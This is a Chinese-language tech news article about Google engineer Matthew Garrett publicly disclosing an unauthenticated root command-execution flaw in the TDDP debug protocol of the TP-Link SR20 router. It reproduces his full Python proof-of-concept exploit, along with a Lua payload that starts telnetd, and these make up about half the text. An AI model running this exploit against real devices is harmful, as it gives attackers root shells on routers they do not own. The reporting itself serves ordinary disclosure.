來自:開源中國
https://www.oschina.net/news/105548/tplink-router-flaw
此前 Google 安全工程師在 TP-Link 的 SR20 智慧家居路由器上發現了一個允許從本地網路連線執行任意命令的漏洞,他將問題報告給 TP-Link,但是經過了 90 天還沒有得到官方的回應,於是他公開了該漏洞。
該問題由著名的 Google 安全工程師與開源貢獻者 Matthew Garrett 披露,週三他公開的 38 行概念驗證程式碼顯示出在利用 SR20 的漏洞時可以使用 root 許可權執行裝置上的任何命令,並且無需身份驗證。
Matthew 解釋,TP-Link 路由器經常以 root 身份執行名為“tddp”(TP-Link Device Debug Protocol,TP-Link裝置除錯協議)的行程。它已經存在了多個漏洞,其中一個沒有身份驗證。
“SR20 暴露了一些第一個版本協議的命令,其中一個(命令 0x1f,請求 0x01)似乎是用於某種配置驗證”,他說:“你傳送檔案和相應引數,收到命令後,路由器透過 TFTP 響應請求的機器,詢問檔案名,將其匯入 Lua 直譯器,以 root 身份執行,並將引數傳送到匯入檔案中的 config_test() 函式。Lua os.execute() 方法傳遞一個由作業系統 shell 執行的命令。”
由於直譯器以 root 身份執行,所以可以執行任意命令。
#!/usr/bin/python3
# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)